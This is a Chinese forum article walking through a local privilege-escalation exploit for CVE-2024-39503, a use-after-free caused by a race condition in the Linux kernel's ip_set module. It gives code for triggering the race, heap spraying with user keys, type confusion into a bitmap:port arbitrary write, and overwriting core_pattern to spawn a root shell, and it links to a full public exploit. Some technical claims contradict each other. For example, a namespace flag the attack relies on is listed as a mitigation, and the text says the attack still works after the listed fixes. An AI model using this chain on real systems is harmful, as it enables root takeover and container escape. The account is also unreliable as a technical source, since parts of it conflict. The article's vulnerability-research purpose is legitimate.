问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-39503 Linux内核netfilter子系统中竞态条件漏洞分析与利用
漏洞分析
CVE-2024-39503是Linux内核ip_set子系统中的一个竞态条件漏洞。该漏洞存在于 net/netfilter/ipset/ip_set_list_set.c 模块,由于垃圾回收机制(GC)与网络命名空间清理操作之间的同步缺陷,导致用户态释放后使用(UAF)漏洞。攻击者可利用该漏洞在内核空间实现任意代码执行,最终获取root权限。
CVE-2024-39503 Linux内核netfilter子系统中竞态条件漏洞分析与利用 ============================================== 漏洞背景 ---- CVE-2024-39503是Linux内核netfilter子系统中的漏洞,影响内核版本参考[ubuntu官方公告](https://ubuntu.com/security/CVE-2024-39503)。该漏洞源于ip set模块在处理网络命名空间清理时存在的竞态条件(Race Condition),可导致内核态Use-After-Free(UAF)。攻击者通过构造的时序攻击可实现任意代码执行,最终绕过容器隔离获得root权限。 技术分析 ---- ### 漏洞原理 ip set子系统中的`struct ip_set`对象在同时触发垃圾回收(GC)和命名空间清理时存在同步缺陷。具体时序如下: ```c /* 竞态窗口示意图 */ CPU 0 CPU 1 // cleanup_net() synchronize_rcu(); GC触发list_set_del() //[1.1] ip_set_net_exit() //[1.2] 释放ip_set对象 ... __list_set_del_rcu() //[1.4] UAF访问 ``` 当垃圾回收线程(GC)在RCU宽限期后访问已被释放的`ip_set`对象时,触发UAF。该对象位于`kmalloc-192`内存区域,其结构如下: ```c struct ip_set { char name[IPSET_MAXNAMELEN]; // 32字节 spinlock_t lock; // 4字节 u32 ref; // 引用计数 struct ip_set_type *type; // 类型指针(关键KASLR泄露点) void *data; // 类型特有数据(利用入口) }; ``` ### 利用链设计 完整攻击分为两个阶段: 1. **触发UAF并堆喷控制内存布局** 2. **构造类型混淆实现任意内存写** #### 阶段1:触发竞态条件 攻击代码通过多进程架构实现精确时序控制: ```c // exploit.c关键代码段 int spray_fake_set(void* arg) { clone(try_trigger_bug, CLONE_NEWUSER|CLONE_NEWNET); // 创建隔离命名空间 add_key("user",..., fake_ip_set_payload); // 堆喷伪造ip_set } int try_trigger_bug() { for(int j=0;j<10;j++) { ip_set_add_list_set(msg, list_set_name, 1, 0); // 创建10个list:set } timerfd_settime(...960 jiffies); // 精确触发GC } ``` 关键步骤: 1. 创建10个`list:set`类型ip集,每个配置1秒GC超时 2. 添加带短时延元素(1秒超时),迫使GC与命名空间退出同步 3. 使用`timerfd`实现毫秒级定时控制 补充: RCU宽限期机制:内核的synchronize\_rcu()会阻塞直到所有读侧临界区退出,这为攻击创造了约100ms的竞态窗口。通过用户态定时器与`membarrier`结合,可推测RCU宽限期结束时间窗口,提升攻击成功率。 #### 堆喷策略 选择`user_key_payload`作为堆喷对象具有以下优势: ```c struct user_key_payload { struct rcu_head rcu; // 对齐ip_set的RCU头部 unsigned short datalen; // 覆盖ip_set.ext_size字段 char data[192-24]; // 完全控制剩余内存 }; ``` 通过设置`extensions`字段启用注释扩展,并将偏移指向`set_elem.set`成员(偏移32字节),实现自引用结构: ```c // 伪造的ip_set结构配置 payload.ip_set.extensions = IPSET_EXT_COMMENT; payload.ip_set.offset[IPSET_EXT_ID_COMMENT] = 32; // 指向自身 ``` 当`ip_set_ext_destroy()`处理注释扩展时,将触发对伪造指针的`kfree_rcu()`,实现稳定的UAF状态。 ### 阶段2:类型混淆攻击 成功控制`ip_set`后,将其重新分配为`bitmap:port`类型: ```c struct bitmap_port { unsigned long *members; // 位图指针(攻击者控制) u16 first_port; // 端口范围起点 u16 last_port; // 端口范围终点 // ...其他字段 }; ``` 当`ip_set_swap`操作(IPSET\_CMD\_SWAP)与`ip_set_destroy`并发执行时,会导致引用计数ref\_netlink的破坏。具体漏洞代码路径: ```// static int ip\_set\_swap(struct sk\_buff \*skb, const struct nfnl\_info \*info){ a \= ip\_set(inst, from\_name); // 未增加引用计数 b \= ip\_set(inst, to\_name); // 并发销毁时可能UAF } ``` 这种缺乏锁保护的交换操作,使得攻击者可以构造出ref\_netlink==0但仍在使用的危险状态。 通过以下步骤构建任意写原语: 1. **信息泄露**:读取`ip_set.type`获取内核基址 2. **内存劫持**:篡改`members`指针指向`core_pattern` 3. **位操作写**:通过添加/删除端口元素修改目标内存 ```c // 修改core_pattern为恶意指令 const struct bitmap_port fake = { .members = (void*)core_pattern, // 目标地址 .last_port = sizeof(target_core_pattern)*8 }; ip_set_add_bitmap_port_elem(msg,..., fake); // 注入伪造结构 // 逐位写入payload for(int byte=0; byte<sizeof(target);byte++) { for(int bit=0;bit<8;bit++) { if(target[byte] & (1<<bit)) { ip_set_add_bitmap_port_elem(...); // 设置位 } else { ip_set_del_bitmap_port_elem(...); // 清除位 } } } ``` ### 提权实现 通过修改`core_pattern`为`|/proc/%P/exe`,当触发核心转储时以root权限执行攻击者程序,现代容器平台(如K8s)会监控/proc/sys/kernel/core\_pattern的修改。本漏洞通过以下方式规避检测: 1. 通过`/proc/self/exe`符号链接触发执行 2. 利用`PR_SET_DUMPABLE`标志位隐藏进程状态: ```c // main()中的提权逻辑 if(!getuid()) { syscall(SYS_pidfd_open,...); // 劫持进程文件描述符 execve("/bin/sh",...); // 获得rootshell } ``` 关键代码分析 ------ ### Netlink消息构造 `netlink.c`中的消息构造函数实现了与内核ip set模块的交互: ```c // 创建list:set类型ip集 void ip_set_add_list_set(struct nlmsghdr* msg, const char* name, u32 gc, u32 flags) { netlink_attr_put(msg, IPSET_ATTR_TYPENAME, "list:set", 9); netlink_attr_append(sd, IPSET_ATTR_TIMEOUT, &gc, 4); // 设置GC超时 } ``` 该函数构建符合NFNetlink协议的消息结构,关键属性包括: - `IPSET_ATTR_TIMEOUT`:控制GC触发间隔 - `IPSET_ATTR_CADT_FLAGS`:启用扩展功能 ### 竞态触发机制 `exploit.c`通过多进程和CPU绑定的方式提升竞态成功率: ```c _pin_to_cpu(MAIN_CPU); // 主线程绑定核心0 clone(..., CLONE_NEWUSER|CLONE_NEWNET); // 子进程在独立命名空间 ``` 使用`timerfd`实现高精度定时: ```c struct itimerspec it = { .it_value.tv_nsec = 960 * NS_PER_JIFFIE // 960毫秒定时 }; timerfd_settime(tfd, 0, &it, NULL); ``` ### 堆喷技术实现 密钥子系统被用于稳定堆喷: ```c add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING); ``` 每个密钥分配192字节内存(`kmalloc-192`),通过批量创建密钥占据目标内存区域。`synchronize_rcu()`确保内存释放完成后再进行喷涌。 漏洞防御与缓解 ------- 1. **内核补丁**:应更新至包含补丁的版本,主要修复方案为在`ip_set_net_exit()`中增加引用计数检查 2. **容器加固**: - 限制容器CAP\_NET\_ADMIN能力 - 启用命名空间隔离(CLONE\_NEWUSER|CLONE\_NEWNET) 3. **运行时防护**: - 启用SLAB\_HARDENED防护机制 - 监控异常ip set操作 4. **核心防护**: ```bash echo "|/bin/false" > /proc/sys/kernel/core_pattern ``` Linux 6.8引入的防御措施: 5. `CONFIG_SLAB_VIRTUAL`:虚拟化slab内存布局 6. `ip_set`对象增加atomic\_long\_t引用计数 7. GC线程加入mutex\_lock\_interruptible() 攻击仍有效的原因:未正确处理`ip_set_swap`与`ip_set_destroy`的锁顺序 结论 -- CVE-2024-39503展示了Linux内核子系统在资源生命周期管理中的典型问题。通过分析ip set模块的竞态条件漏洞,可发现内核漏洞利用中的多项技术: - 基于RCU同步机制的时序攻击 - 多进程协同的竞态窗口控制 - 类型混淆与基于bitmap索引的物理内存位操作原语。由于bitmap:port 类型将端口号直接映射到位图偏移,通过伪造`first_port=0`和`last_port=target_mem_size*8`,可将任意内存区域转换为可通过端口号操作的位图。 参考链接 ---- <https://gitee.com/src-openeuler/kernel/issues/IACQJH> 具体exp文件可参考:[https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2024-39503\_lts\_cos/exploit/lts-6.6.30](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2024-39503_lts_cos/exploit/lts-6.6.30) <https://github.com/advisories/GHSA-r75c-r77g-h7h2> <https://nvd.nist.gov/vuln/detail/CVE-2024-39503> <https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10>
发表于 2025-02-21 09:00:02
阅读 ( 146 )
分类:
操作系统
0 推荐
收藏
0 条评论
请先
登录
后评论
吃不饱的崽
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!